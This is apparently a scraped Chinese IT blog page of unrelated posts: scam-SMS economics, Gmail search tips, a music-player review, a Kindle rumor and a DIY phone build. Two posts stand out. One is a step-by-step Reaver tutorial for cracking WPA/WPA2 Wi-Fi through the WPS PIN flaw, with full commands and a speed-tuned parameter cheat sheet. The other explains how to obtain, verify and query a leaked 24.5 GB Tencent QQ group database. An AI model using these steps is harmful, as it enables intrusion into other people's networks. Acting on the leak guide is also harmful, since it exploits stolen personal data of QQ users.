分类:IT

为什么诈骗短信看上去那么弱智?

File

XX集团举行三十周年大庆典,您的手机号码获得了20万大奖。

爸我在外嫖娼被抓手机被没收,快汇5万保释费到XX。

相信用过手机的人都收到过类似的短信,你有没有这样的疑问:这些已经被媒体曝光成千上万次骗术为什么还是一再出现?骗子们看上去实在太不好学了,怎么也不开拓创新一下理念,这么out的东西还有人信吗?最近,微软的研究人员回答了这个问题,骗子才没我们想的那么简单。

从“尼日利亚王子”说起

在英文 Email 里,最流行的垃圾邮件就是“尼日利亚王子”,大体故事情节是尼日利亚几位高官要把巨额资金以“国家秘密”的形式转移到国外,需要使用你的名义和银行账户,转移成功之后你将获得上千万美元中的 10% 作为酬劳。如果答应和这些“高官”合作,过一段时间骗子就会以事情进展不顺利为由,让你先垫付一点“微不足道”的手续费和打点官员的小费,付过几次钱之后,对方就变得无影无踪。“尼日利亚王子”就是这样一种没有任何高明之处的诈骗方式。

File

一封“尼日利亚王子”邮件

这种骗术在之前的纸制信件里就开始流传,后来是通过传真,再到后来的电子邮件,已经有几十年的历史了,可谓“经久不衰”。由于不断被冒用名义,尼日利亚政府在 1991 年不得不公开发表声明不存在这回事,不过这封邮件直到今天依然很流行。微软的研究人员想弄清楚的是,这封文笔都不通顺、谷歌就找到的邮件为什么还一直在被骗子使用。他们为何不写些生动形象、新颖逼真的版本?

依据损失而设定的灵敏度

在回答这个问题前,我们先把目光移向与诈骗邮件风马牛不相及的防火警报器。

在宿舍里,火灾报器常常半夜里叫起来,最后却发现是虚惊一场,它为什么这么不靠谱?这大概是因为警报器的本身“水平有限”,传感器总是不能区分真正的火灾和吸烟产生的烟雾、空气湿度变化、气温过高这些正常情况,因而就会产生两种错误:不应该响的时候乱响(false positive)和该响的时候不响(false negative)。可是 false positive 和 false negative 两种情况总是一个变小另一个就变大。如果把警报器调的灵敏一些,它就会经常没火的时候乱响,但是有火的时候失灵的几率就小了很多;如果让警报器迟钝一些,就不会半夜里总是把人吵醒,可是真着了火它也容易不响。警报器的灵敏度是一把双刃剑,什么样的灵敏度才是适当的,要视 false positive 和 false negative 两种后果造成的损失(即成本)大小而定。对于警报器来说,如果没火的时候乱响,损失不大,可是真有了火灾它没有发挥作用,就会造成巨额财产损失甚至生命危险,权衡利弊,我们宁愿把防火警报器调的灵敏一些,让它乱响几次以防万一。

警报器不该响的时候响、该响的时候不响的困扰也存在于其他很多场景,不过灵敏度却未必总是要越高越好。例如在法庭上,如果对一个嫌疑人的指控证据不充足,处于“半有罪半无罪”的状态,法庭也会像火灾报警器一样犯两个错误:把好人冤枉成坏人(false positive)和把坏人当好人放了(false negative)。这种情况下如果把灵敏度调得高一点,就意味着“宁可错杀一千,不可放过一个”;如果把灵敏度调得低一点,就意味着“永远不冤枉一个好人”。比较一下两种情况的造成的损失,如果把一个好人误判为有罪,这样的冤案哪怕只有几起,也会让法庭的公信力大大下降,比暂时放掉一个坏人的损失要大得多。所以大多数国家在这里会把敏感度调得比较低,这就是所谓的“疑罪从无”。

骗子没有看上去那么笨

File

回到最初的问题上来,灵敏度和诈骗短信有什么关系?微软研究人员认为,骗子发电子邮件和上述情形有共通之处。

对于骗子来说,目标就是在茫茫人群中找到一个受骗者,把钱骗到手。不过,大家要搞清楚的是,仅仅对骗子的电子邮件有兴趣,回复了邮件,只能称得上“上钩”,最后把钱汇到骗子手里才称得上被骗。人群里最后上当的人的比例跟电子邮件内容没很大关系,因为上钩者不会只因为最初的邮件内容就汇钱给骗子,更关键的是接下来与骗子的联系情况,一旦“上钩者”发现不对头的地方,就会中断与骗子的联系。电子邮件的质量相当于“灵敏度”,会先把人群里一部分可能上当的人筛选出来。

骗子们的false positive和false negative就是:

false positive:把人群里本来不容易上当受骗的人钓上来了,进行行骗。

false negative:错过了人群里很傻很天真的人,没有骗到他们。

容易看出,骗子整体的骗术相当低劣,而如今人们警惕性又越来越高,能上当的人的比例少之又少,可能只有万分之一。如果“尼日利亚王子”的邮件写得像福尔摩斯侦探小说一样滴水不漏,相当于把灵敏度调高,false positive会变大,false negative会变小,这就意味着骗子起初需要联系的人变多了,但最后真正上当交钱的人未必会增加多少,结果不见得划算。

那骗子在两种情况下的成本各是什么呢?

false positive:骗子进行这种诈骗也不是没有投资,群发邮件没有多少成本,可是如果跟钩上来的鱼一对一联系起来,成本就变大了。如果联系的人比较多,需要雇用更多的“客服”,需要开更多的银行账户,需要制作更多的假材料,甚至还有把“放蛇”的警察引进来这种风险成本。最后这些不傻也不天真的人会在深入的交流之后发觉真相,拒绝交钱给骗子,那骗子就是白忙了。

false negative:很简单,最后交钱的人少了,骗到的钱也减少了。

综合下来就是,彻底把一个人的钱骗到手概率不大,false positive成本不小,false negative成本没想象的大,三个因素合到一起会迫使骗子降低钓鱼的灵敏度。他们故意发一些很假的邮件,这样上当的都是些“真傻”的受害者,可以减少跟“钓上来的鱼”辛苦联系一番,最后却一分钱没骗到。这一方面说明,现在这年代骗子们行骗的成本越来越高,这个行业越发不景气。另一方面也说明,骗子们其实还是很有商业头脑的。

Gmail 高级搜索技巧

Gmail 强大用户的体验和各种前瞻性的实验性功能,已经让它成为了我们的主要邮箱,作为 Webmail,其搜索快捷和方便是优点之一,但是平时在使用 Gmail 搜索的时候,经常找不到相应的邮件,虽然它有高级搜索的选项,但是每次都需要多点击一次才能使用,所以掌握一些 Gmail 高级搜索语法,对提高工作效率还是有非常大的帮助的。下面我就介绍下几个我常用的 Gmail 高级搜索语法:

  1. 搜索特定用户的邮件。

    搜索特定用户的邮件,可以通过 from 和 to 这两个语法:

    如搜索 hugege 同学发给我的邮件:from:hugege

    我发给 hugege 同学的邮件:to:hugege

  2. 搜索含有附件的邮件。

    搜索含有附件的邮件可以使用 has:attachment 这个语法:

    如收到 hugege 同学发给我含有附件的邮件:from:hugege has:attachment

    当然如果你和朋友之间的含有附件的邮件很多,可以在上面的搜索语法中加入一些关键字,这样可以缩小搜索结果。

    如果你甚至知道附件的名字或者类型时,可以使用 filename 这个语法:

    filename:abc.zip — 这里直接搜索附件名为 abc.zip 的文件。

    filename:pdf — 这个很有用,可以把你邮件中所有的 PDF 文件都搜索出来。

  3. 在所有邮件中搜索。

    Gmail 默认只在 inbox 中搜索,如果你要让它在所有地方搜索,包括垃圾邮件和删除中搜索的话,可以使用这个 in:anywhere 这个语法,如在所有邮件中搜索 abc。

    in:anywhere abc

  4. 查看 inbox 中所有未读邮件。

    查看未读邮件可以通过语法 is:unread 来实现,但是有些 label 下的未读邮件你并不想查看,甚至你只想查看 inbox 下的未读邮件,可以通过下面的语法实现:

    in:inbox is:unread

  5. 搜索聊天记录的信息。

    Gmail 一个很好的功能就是能够吧 Gtalk 的聊天记录当做一封邮件保存到 Gmail 中,如果日后我们想找东西的时候也异常方便。如我和朋友聊天时候涉及到 wordpress 的信息,可以通过以下语法实现:

    is:chat abc

    如果在特定用户聊天记录中搜索:

    is:chat fairyfish from:hugege

  6. 在特定标签中搜索。 

    Gmail 的一个强大的功能就是标签,Label, 如过你要在特定标签下搜索,可以通过一下语法实现:

    label:fairyfish abc

上面就是我用的最多的 Gmail 高级搜索功能,如果你有什么好的 Gmail 高级搜索功能,欢迎和我分享。

另外如果你想了解 Gmail 高级搜索语法的详细介绍,可以参考 Gmail 官方帮助里面的文档:使用高级搜索

佳软推荐:AirPlay – 音乐为我而生

一个音乐播放器,让我找了一年!

自从卸载了千千静听后,我再也没有装音乐播放器了,用着功能很弱系统自带的WMP;

 

宁缺勿滥,算是我生活的性格,”音乐”算是我生活的一重大的部分,所以,对音乐播放器的要求还算很高:至少都要简洁,界面清新,操作便捷,功能要专一;

 

音乐我听两种,在线的和离线的;在线的是发觉新音乐;离线的是为了听FLAC或者APE的高品质音乐比如,电脑里面存了一首<<传奇-王菲>>,有70M之巨,用台电X19+和手机播放,设备都会卡;

 

在线音乐:

在线的当然毫不犹豫的选择豆瓣FM,几乎从接触互联网开始就在使用豆瓣FM,见证了这个软件的成长;

使用豆瓣FM,最喜欢那种,它简单、易用,熟悉每个用户的脾气秉性,又能够聚合集体的智慧。

个性化推荐技术,从数量庞大的曲库中向你推荐可能喜欢的音乐,让你和喜欢的音乐不期而遇

最好的东西,往往是意料之外,偶然所得。

打开豆瓣电台客户端,聆听动人的音乐,无需打开网页就能收听豆瓣电台。

清新的界面,平滑的动画,快捷的操作,体验如此美妙。

doubanfm

 

至于豆瓣FM的版本:

手机端:就用官方的吧,无论android和iphone都不错,还支持离线音乐供网络不好时使用;只是启动界面有广告,不过这个广告还挺好看,

PC端:官方版本的不推荐,界面丑,还不支持歌词;

我推荐kfstorm写的第三方程序(感谢豆瓣提供了API),正是上图:

这是一个豆瓣电台的Windows客户端,用C#编写的,基于.NET Framework中的WPF技术。

软件界面运用了较多动画,界面风格仿造Metro风格。

该软件由于豆瓣关闭了API,已无法使用,停止更新(20160104)。

 

作者在简介中表示:功能不强大,但界面很友好;

我觉得作者真心是谦虚了,这是我最满意的软件了,功能该有的都有,也没有我认我多余的功能,而且个性化选项比较多.

感谢作者.

在这里提两个建议,

1.希望增加一个无网络环境下随机播放本地音乐(甚至有一个在线离线切换开关);

2.算是鸡蛋里挑骨头:豆瓣音乐收费用户也就192的码率,真心很低;希望能加入:播放音乐时自动检测本地音乐文件夹,如果发现本地有相同音乐,那么就播放本地码率较高的音乐;

 

 

离线音乐:

AirPlay:名气不等于优秀,优秀不等于适合;

前几天在小众软件发现的,

绿色小巧的音乐播放器,会自动下载和显示歌词、专辑封面,

界面干净,干净到我竟然在软件上找到一个链接,包括官网的链接;

操作简单,简单到没有学习成本;

音效:拥有纯净音质,且有丰富的EQ调节

模式:有普通模式和迷你模式,方便后台播放音乐,不没事夺眼球,

软件也有缺点:

控制板文字辨识度不高,修改ID3不能保存到文件;

 

界面图:

AIRPLAy

 

最后,让我来吐槽各种有名的音乐播放器吧,

winamp 逐渐离我远去,千千静听广告巨多,1by1 又过于简单,Foobar2000 更适合专业用户;

什么酷狗酷我,广告一堆,还要机械的告诉你,大家都喜欢这个,你也应该听;

QQ音乐:太臃肿了,我只是要一个音乐播放器,不要什么社交在里面,如果想听在线的高品质音乐,QQ音乐还是不错的,前提是每月10块钱

破解Wi-Fi网络的WPA/WPA2密码

英文原文 http://lifehacker.com/5873407/how-to-crack-a-wi-fi-networks-wpa-password-with-reaver

716D483AC1C1

Wi-Fi网络能够让我们便利地访问因特网,但同时,我们又不希望隔壁抠门猥琐男总是蹭我们的网,所以自然要给WiFi加个密码,对吧?于是,好消息是,也许你已经看过我的另一篇文章,“如何轻易破解WEP密码”,所以你使用了更稳固的WPA安全协议。

但坏消息是,现在有一款自由开源新工具——Reaver,已经挖掘出了无线路由器的一个漏洞,由此能够破解绝大多数路由器上的密码。今天,我就来一步步介绍,如何使用Reaver破解WPA/WPA2密码。最后我会给出相应的防范对策。

文章的第一部分,是使用Reaver破解WPA的详细步骤,读者可以看视频,也可以跟着下面的文字一起做。然后,我会解释Reaver的工作原理。最后,介绍如何防范Reaver攻击。

http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1

在正式开始之前,我还是要不厌其烦强调一下:知识就是力量,但是拥有力量不代表着可以为所欲为、触犯法律。同样,骑白马的不一定是王子,会开锁的也不一定是小偷。本文只是关于某些技术的实验与验证,只适用于学习。你知道的越多,就能够越好的保护自己。

准备工作

首先,无需成为一名网络专家,学会使用复杂的命令行工具,你只需要准备一张空白DVD、一台能连接WiFi的电脑,并腾出几个小时时间,这就是我们基本需要的东西。要安装Reaver,可以有很多方法,但是这里我们建议你按照下面的指南来做:

7241A0A574A6

  • The BackTrack 5 Live DVD。BackTrack是一款支持自启动的Linux发行版,上面集成了大量的网络测试工具。虽然这对于安装、配置Reaver并不是必需的一个条件,但是对于大多数用户却是最简单一个方法。从BackTrack的下载页面(传送门)下载Live DVD,然后刻盘。这里你也可以下载镜像然后使用VMware安装,如果你不知道VMware是啥,额,那就还是刻盘吧。如图所示,下载的时候,下拉菜单选择BackTrack 5 R3版本、Gnome环境、根据你的CPU选择32或64位系统(如果这里不确定是32还是64,为了保险起见,请选择32位),下载类型选择ISO,然后就可以点击下载了。
  • 配有DVD光驱、支持WiFi的电脑。BackTrack支持大多数的笔记本无线网卡,这一点对于大多数读者应该没什么问题。同时,你的电脑需要有一个DVD光驱,这样才能从BackTrack光盘启动。我的测试环境是一台用了6年的MacBook Pro。
  • 附近要有采用WPA加密的WiFi网络。没WiFi网,你破解谁去 =。= ……一会我会在“Reaver的工作原理部分”介绍,WiFi防护设置是如何产生安全漏洞、WPA破解是如何成为可能的。
  • 最后,你还需要一点点的耐心。这是整个实验的最后一步,使用Reaver破解WPA密码并不难,它采用的是暴力破解,因此,你的电脑将会测试大量不同的密码组合,来尝试破解路由器,直到最终找到正确的密码。我测试的时候,Reaver花了大概两个半小时破解了我的WiFi密码。Reaver的主页上介绍,一般这个时间在4到10个小时之间,视具体情况而定。

让我们开始吧

此时,你应该已经把BackTrack的DVD光盘刻录好了,笔记本也应该已经准备就绪。

第1步:启动BackTrack

要启动BackTrack,只需将DVD放入光驱,电脑从光盘启动。(如果不知道如何使用live CD或DVD启动,请自行Google。)启动过程中,BackTrack会让你选择启动模式,选择默认的“BackTrack Text – Default Boot Text Mode”然后回车。

最终BackTrack会来到一个命令行界面,键入startx,回车,BackTrack就会进入它的图形界面。

第2步:安装Reaver

(文章更新:Reaver在R3版中已经预装,如果你安装的是BT5的R3版,这一步骤可以忽略,直接跳到第3步。)

Reaver已经加入了BackTrack的最新版软件包,只是还没有集成到live DVD里,所以,在本文最初撰写的时候,你还需要手动安装Reaver。要安装Reaver,首先设置电脑联网。

1.点击Applications > Internet > Wicd Network Manager 2.选择你的网络并点击Connect,如果需要的话,键入密码,点击OK,然后再次点击Connect。

连上网以后,安装Reaver。点击菜单栏里的终端按钮(或者依次点击 Applications > Accessories > Terminal)。在终端界面,键入以下命令:

apt-get update

更新完成之后,键入:

apt-get install reaver

如果一切顺利,Reaver现在应该已经安装好了。如果你刚才的下载安装操作使用的是WiFi上网,那么在继续下面的操作之前,请先断开网络连接,并假装不知道WiFi密码 =。= 接下来我们要准备破解它~

第3步:搜集设备信息,准备破解

在使用Reaver之前,你需要获取你无线网卡的接口名称、路由的BSSID(BSSID是一个由字母和数字组成的序列,用于作为路由器的唯一标识)、以及确保你的无线网卡处于监控模式。具体参见以下步骤。

找到无线网卡:在终端里,键入:

iwconfig

回车。此时你应该看到无线设备的相关信息。一般,名字叫做wlan0,但如果你的机子不止一个无线网卡,或者使用的是不常见的网络设备,名字可能会有所不同。

7901DC34821F

将无线网卡设置为监控模式:假设你的无线网卡接口名称为wlan0,执行下列命令,将无线网卡设置为监控模式:

airmon-ng start wlan0

这一命令将会输出监控模式接口的名称,如下图中箭头所示,一般情况下,都叫做mon0。

7133E68B0C02

找到你打算破解的路由器的BSSID:最后,你需要获取路由器的唯一标识,以便Reaver指向要破解的目标。执行以下命令:

airodump-ng wlan0

(注意:如果airodump-ng wlan0命令执行失败,可以尝试对监控接口执行,例如airodump-ng mon0)

此时,你将看到屏幕上列出周围一定范围内的无线网络,如下图所示:

7632B746CAE5

当看到你想要破解的网络时,按下Ctrl+C,停止列表刷新,然后复制该网络的BSSID(图中左侧字母、数字和分号组成的序列)。从ENC这一列可以看出,该网络是WPA或WPA2协议。(如果为WEP协议,可以参考我的前一篇文章——WEP密码破解指南

现在,手里有了BSSID和监控接口的名称,万事俱备,只欠破解了。

第4步:使用Reaver破解无线网络的WPA密码

在终端中执行下列命令,用你实际获取到的BSSID替换命令中的bssid:

reaver -i moninterface -b bssid -vv

例如,如果你和我一样,监控接口都叫做mon0,并且你要破解的路由器BSSID是8D:AE:9D:65:1F:B2,那么命令应该是下面这个样子:

reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv

最后,回车!接下来,就是喝喝茶、发发呆,等待Reaver魔法的发生。Reaver将会通过暴力破解,尝试一系列PIN码,这将会持续一段时间,在我的测试中,Reaver花了2个半小时破解网络,得出正确密码。正如前文中提到过的,Reaver的文档号称这个时间一般在4到10个小时之间,因此根据实际情况不同,这个时间也会有所变化。当Reaver的破解完成时,它看起来是下图中这个样子:

7580A56B2ADC

一些要强调的事实:Reaver在我的测试中工作良好,但是并非所有的路由器都能顺利破解(后文会具体介绍)。并且,你要破解的路由器需要有一个相对较强的信号,否则Reaver很难正常工作,可能会出现其他一些意想不到的问题。整个过程中,Reaver可能有时会出现超时、PIN码死循环等问题。一般我都不管它们,只是保持电脑尽量靠近路由器,Reaver最终会自行处理这些问题。

除此以外,你可以在Reaver运行的任意时候按下Ctrl+C中断工作。这样会退出程序,但是Reaver下次启动的时候会自动恢复继续之前的工作,前提是只要你没有关闭或重启电脑(如果你直接在live DVD里运行,关闭之前的工作都会丢失)。

Reaver的工作原理

你已经学会了使用Reaver,现在,让我们简单了解一下Reaver的工作原理。它利用了WiFi保护设置(WiFi Protected Setup – 下文中简称为WPS)的一个弱点,WPS是许多路由器上都有的一个功能,可以为用户提供简单的配置过程,它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码的一个缺陷,最终的结果就是,只要有足够的时间,它就能破解WPA或WPA2的密码。

关于这个缺陷的具体细节,参看Sean Gallagher’s excellent post on Ars Technica

如何防范Reaver攻击

该缺陷存在于WPS的实现过程中,因此,如果能够关闭WPS,WiFi就是安全的(或者,更好的情况是,你的路由器天生就木有这一功能)。但不幸的是,正如Gallagher在Ars的文章中所指出的,即使在路由器设置中人为关掉了WPS,Reaver仍然能够破解其密码。

在一次电话通话中,Craig Heffner说道,很多路由器即使关闭WPS都无法有效防范攻击。他和同事一起测试过,所有的Linksys和Cisco Valet无线路由器都是如此。“在所有的Linksys路由器上,你甚至无法手动关闭WPS,”他说,尽管Web界面中有关闭WPS配置的按钮,但是“它仍然会自动打开,极易受到攻击”。

因此,方法一:失败!。也许你可以亲自尝试把你的路由器WPS关闭,然后测试一下Reaver是否还能成功破解。

你也可以在路由器中设置一下MAC地址过滤(只允许指定的白名单设备连接你的网络),但是有经验的黑客还是能够检测出设备的白名单MAC地址,并使用MAC地址仿冒你的计算机。

方法二:失败!那到底该怎么办?

我的建议是,我曾经在我的路由器上安装了开源路由固件DD-WRT,成功防御了Reaver攻击。因为,DD-WRT天生就是不支持WPS的,因此,这成为了又一个我热爱自由软件的原因。如果你也对DD-WRT感兴趣,可以看一下这里的设备支持列表,看是否支持你的路由器设备。除了安全上的升级,DD-WRT还可以监控网络行为设置网络驱动器拦截广告增强WiFi信号范围等,它完全可以让你60美刀的路由器发挥出600美刀路由器的水平

 

Reaver v1.4 用法整理 含高级参数说明

 

使用方法:
airmon-ng start wlan0 //启动mon0监控
reaver -i mon0 -b MAC -a -S -vv //普通用法

如果,90.9%进程后死机或停机,请记下PIN前四位数,用指令:
reaver -i mon0 -b MAC -a -vv -p XXXX(PIN前四位数)

其他命令
airodump-ng mon0 用来扫描周围无线信号
wash -i mon0 -C 这个是用来检测周围无线支持PIN的路由

如果一直pin不动,尝试加-N参数
reaver -i mon0 -b xx:xx:xx:xx:xx:xx -d 0 -vv -a -S -N
也可以加延时 -t 3 -b 3

常用参数释疑
-i 监听后接口名称 网卡的监视接口,通常是mon0
-b 目标mac地址 AP的MAC地址
-a 自动检测目标AP最佳配置
-S 使用最小的DH key,可以提高PJ速度
-vv 显示更多的非严重警告
-d 即delay每穷举一次的闲置时间 预设为1秒
reaver -i mon0 -b MAC -d 0
用上述指令可以大幅加快PJ速度 但是有些AP可能受不了
-c (后跟频道数) 指定频道,可以方便找到信号
-p PIN码四位或八位 //已知pin码前4位可以带此参数,指定从这个数字开始pin。可以用8位直接找到密码。
-N 不发送NACK信息(如果一直pin不动,可以尝试这个参数)
-n 对目标AP总是发送NACK,默认自动
-t 即timeout每次穷举等待反馈的最长时间,如果信号不错,可以这样设置
reaver -i mon0 -b MAC -d 0 -t .5
-m, –mac=<mac> 指定本机MAC地址,在AP有MAC过滤的时候需要使用

小结-PJ时应因状况调整参数:
信号非常好:
reaver -i mon0 -b MAC -a -S -vv -d 0 -c 1
信号普通:
reaver -i mon0 -b MAC -a -S -vv -d .5 -t .5 -c 1
信号一般:
reaver -i mon0 -b MAC -a -S -vv -c 1

当出现有百分数时你就可以用crtl+c来暂停,它会将reaver的进度表文件保存在
1.3版:
/etc/reaver/MAC地址.wpc
1.4版:
/usr/local/etc/reaver/MAC地址.wpc
用资源管理器,手工将以MAC地址命名的、后辍为wpc的文件拷贝到U盘或硬盘中,
下次重启动后,再手工复制到/etc/reaver/ 目录下即可。

不是所有的路由都支持pin学习。AP关闭了WPS、或者没有QSS滴,会出现
WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX)
学习过程中也可随时随地按Ctrl+C终止PJ,重复同一个PIN码 或 timeou t可终止,reaver会自动保存进度。
继续上次的PJ,则再次在终端中发送:
reaver -i mon0 -b MAC -vv
这条指令下达后,会让你选y或n,选y后就继续了
当reaver确定前4位PIN密码后,其工作完成任务进度数值将直接跳跃至90.9%以上,也就是说只剩余一千个密码组合了(总共一万一千个密码)。

参数详细说明:
-m, –mac=<mac> MAC of the host system
指定本机MAC地址,在AP有MAC过滤的时候需要使用
-e, –essid=<ssid> ESSID of the target AP
路由器的ESSID,一般不用指定
-c, –channel=<channel> Set the 802.11 channel for the interface (implies -f)
信号的频道,如果不指定会自动扫描
-o, –out-file=<file> Send output to a log file [stdout]
标准输出到文件
-s, –session=<file> Restore a previous session file
恢复进程文件
-C, –exec=<command> Execute the supplied command upon successful pin recovery
pin成功后执行命令
-D, –daemonize Daemonize reaver
设置reaver成Daemon
-a, –auto Auto detect the best advanced options for the target AP
对目标AP自动检测高级参数
-f, –fixed Disable channel hopping
禁止频道跳转
-5, –5ghz Use 5GHz 802.11 channels
使用5G频道
-v, –verbose Display non-critical warnings (-vv for more)
显示不重要警告信息 -vv 可以显示更多
-q, –quiet Only display critical messages
只显示关键信息
-h, –help Show help
显示帮助

-vv 显示更多的非严重警告

高级参数:
-p, –pin=<wps pin> Use the specified 4 or 8 digit WPS pin
直接读取psk(本人测试未成功,建议用网卡自带软件获取)
-d, –delay=<seconds> Set the delay between pin attempts [1]
pin间延时,默认1秒,推荐设0
-l, –lock-delay=<seconds> Set the time to wait if the AP locks WPS pin attempts [60]
AP锁定WPS后等待时间
-g, –max-attempts=<num> Quit after num pin attempts
最大pin次数
-x, –fail-wait=<seconds> Set the time to sleep after 10 unexpected failures [0]
10次意外失败后等待时间,默认0秒
-r, –recurring-delay=<x:y> Sleep for y seconds every x pin attempts
每x次pin后等待y秒
-t, –timeout=<seconds> Set the receive timeout period [5]
收包超时,默认5秒
-T, –m57-timeout=<seconds> Set the M5/M7 timeout period [0.20]
M5/M7超时,默认0.2秒
-A, –no-associate Do not associate with the AP (association must be done by another application)
不连入AP(连入过程必须有其他程序完成)
-N, –no-nacks Do not send NACK messages when out of order packets are received
不发送NACK信息(如果一直pin不动,可以尝试这个参数)
-S, –dh-small Use small DH keys to improve crack speed
使用小DH关键值提高速度(推荐使用)
-L, –ignore-locks Ignore locked state reported by the target AP
忽略目标AP报告的锁定状态
-E, –eap-terminate Terminate each WPS session with an EAP FAIL packet
每当收到EAP失败包就终止WPS进程
-n, –nack Target AP always sends a NACK [Auto]
对目标AP总是发送NACK,默认自动
-w, –win7 Mimic a Windows 7 registrar [False]
模拟win7注册,默认关闭

流言:亚马逊阅读神器KPW二代下月中国上市

PS:今儿又有新的传闻了,网易科技:传亚马逊开发新款Kindle Paperwhite 明年Q2上市;

亚马逊新一代Kindle Paperwhite电子书将于明年第二季度上市,使用了全新的玻璃表层屏幕,PPI达到300的全新电子墨水屏幕,这将是e-ink产品分辨率达到的新高度,另外,消息称新Kindle将会支持更多字体,操作方式也会有所改变:继续不使用实体按钮,屏幕两侧的边框将可以触控与按压进行操作。

 

 

亚马逊 Kindle Paperwhite 被用户誉为“阅读神器”,为让读者排除干扰,功能简单到只为阅读而生。在今年9月份的时候,亚马逊推出了全新的第二代Kindle Paperwhite,在美国等市场已经率先上市。

现在有消息人士称,国行版的第二代 Kindle Paperwhite 将于12月中旬上市,价格方面或许高于一代国行版 KPW 的849元。

新款Kindle Paperwhite的处理器要快25%,改善屏幕高对比显示,更长的电池续航。亚马逊还为新Kindle Paperwhite增加了Kindle Page Flip等新功能。

第二代 Kindle Paperwhite 的多项改进如下(IT之家注:部分一代用户似乎并找不到升级的理由):

• 采用了新的显示技术,提供了更高对比度和更快的相应速度;

• 新一代的阅读灯更加保护眼睛;

• 处理器速度提升25%;

• 更好的触控技术,触控网格加密19%,对触摸区域的识别更加精确;

• Kindle页面快速翻阅:按页或是章节快速浏览全书,也可以直接跳转到结尾查看。

• 增强查找功能,整合X-Ray和维基百科的完整词典;

• 将你查询的字词自动添加到快速访问列表;

• 即将整合Goodreads,可查看好友阅读和分享了什么内容,并为图书打分。

• 即将整合Kindle FreeTime免费时光,为年轻读者提供免费阅读的机会。

 

IT之家(www.ithome.com):流言:亚马逊阅读神器KPW二代下月中国上市

打开腾讯群关系24.5G数据库方法

前几天公布了腾讯群关系24.5G数据库,估计这几天终于有人把数据库下载完了,解压后竟然有91.6G,但是有很多同学不知道怎么打开这个数据库,

也不知道怎么用SQL查询,这里特别透漏一下如何让打开腾讯群关系24.5G数据库方法,特别是那些说需要ldf日志文件才能解压的童鞋.

 

一、下载25gQQ数据库,这个现在网上应该比较多了,但是也有很多链接已经失效了,我这里给一个没有失效的下载地址

二、解压文件:下载后不要把文件改名,打开7z,点击其中一个文件,选择合并文件,合并之后再解压,解压出来应该有22个mdf文件,实际大小应该是91.6G 。

但是有很多人数加压失败,我估计是文件太大,下载过程中已经出现了损坏,我这里给出各个文件的MD5值,下载后可以检查一下是否失败

QQ数据库.7z.001   98ae9be8075e7b59117f32d85d002a9e

QQ数据库.7z.002  930b8d048de53b3e75c79ebbce043306

QQ数据库.7z.003   9964a0b9677ba8229cc5528deba1efff

QQ数据库.7z.004   65a9fc23da90415afc74c41a78dd4b0f

QQ数据库.7z.005   95bdcd74f55de944c3923eec6e413568

QQ数据库.7z.006   58f9738d498dc68d45d9ab1aad44375a

 

6da38a18gw1eats2oc498j209e0bota0

三、下载SQL2008  下载地址http://www.jb51.net/softs/43885.html

   四、查询数据库

sql安装后 链接本地实例,正常来说直接附加数据库即可  但是 这些解压的文件 没有.ldf日志文件 所有 只能通过命令 来进行还原了
例如: 前面是数据库名字 后面是解压后的文件位置

sp_attach_single_file_db @dbname=  ’GroupData5_Data’ ,
@physname= ‘E:\baiduyundownload\QQ数据库\QQ数据库\QQ数据库\QQ数据库\QunData\GroupData5_Data.MDF’

 

6da38a18gw1eats1x8dojj20rb03hq3a

查询步骤

6da38a18gw1eats5jqw2nj20ls0em0va

查询的结果
6da38a18gw1eats4c1uahj20lq0cfq5c

用scratch DIY一部手机

DIY手机就是自己制作一部能用的手机(虽然只有基本功能),它可以用来打电话,接电话以及发信息,存储姓名和电话号码,显示时间。它基于Arduino GSM Shield 硬件和软件打造,只不过是给它装一个完整的使用界面,包括显示屏、按钮、扬声器、麦克风等。手机硬件及软件的源文件可以在GitHub上的hardwaresoftware项目中找到,在GitHub上的还有一个问题列表,你可以提交bug报告或填写改进请求。.

手机屏

目前主要有两种DIY手机屏幕:一种采用旧的诺基亚手机那样的黑白LCD液晶屏,还有一种使用八字符的红色点阵LED。LCD液晶屏可以显示更多行内容,每行十四个字符,但随着时间的推移,显示的字符会出现断画的现象,LED点阵式的比较难用,但是显示效果还不错。

 

FTCZPTIHNQYA3DJ.LARGE_

 

FDSIIY7HNQYA4T3.LARGE_

 

打造自己的手机

DIY手机是一个需要投入相当多精力的工程,但它并不一定需要你具有特定的电子类专业知识。你需要订购电路板和电子器件(总共大约200美元),还需要一些其他的电子工具。有差不多60个器件需要手工完成精密焊接,主要是贴片式焊接。整个DIY过程需要1到5小时,甚至可能达到10个小时。这取决于你的经验。编程,特别是调试手机会花费较多时间,同样这也取决于你的经验以及中间的出的差错。外壳的制作需要一些胶合板、单板以及激光切割机(或者你可以用自己的方式去制作电路板)。总之这是一个困难但总体来说可行的项目。

订购线路板

FBC82DAHNQYA3R2.LARGE_

 

yoav1890

 

你可以从 OSH Park订购电路板。大约花费为60美元,总共会有三份电路板。

或者,你可以把Gerber文件传给一个制造商让他们来帮你制作,例如OSH ParkAdvanced CircuitsAP Circuits或许多其他制造商网站。每一次我订购电路板时,我会把我的Gerber文件保存到GitHub上,在其中建立一个目录且以日期命名。我最新的电路设计图可以在LCD variant和 LED matrix variant目录里找到。

目录中有几个不同的文件:

  • *.cmp文件:顶侧(器件侧)镀铜线路层(即板顶部用于实际的电子连接的铜的线路图)
  •  *.sol文件:底(焊锡)侧铜层(向上,线路板底部)
  • *.stc:顶层(器件侧)焊接掩模(绝缘)层(即铜线路板下面的绿色层)
  • *.sts:底层(焊接面)焊接掩模(绝缘)层
  •  *.plc:上(器件侧)丝网(刻字)层,加上整体板尺寸(即白色文本在顶部的板,加上一线指示整个板的形状并没有单独的文件)
  •  *.pls:底(焊接面)丝网(图例)层(白色文本的底部板)
  • *.drd:(excellon)钻孔文件(指定应该在电路板的哪个位置上钻孔)
  • *.dri:钻孔工具文件,通常不需要(以纯文本方式描述使用的钻头尺寸)

你需要上传这些文件(通常打包压缩成zip文件),有时需要指定哪个文件是做什么的。这是一个两层电路板板,尺寸为5.15”x 2.3”,电路板厚度为标准的0.62”,铜重量1盎司,焊接掩模应该不是问题。你需要双面焊接掩模和丝网印刷板。圆角线路板可能会按复杂形状线路板而加收费用,我认为这虽然值得但并不是必要的。.

ben189 ::__IHACKLOG_REMOTE_IMAGE_AUTODOWN_BLOCK__::1

获取部件

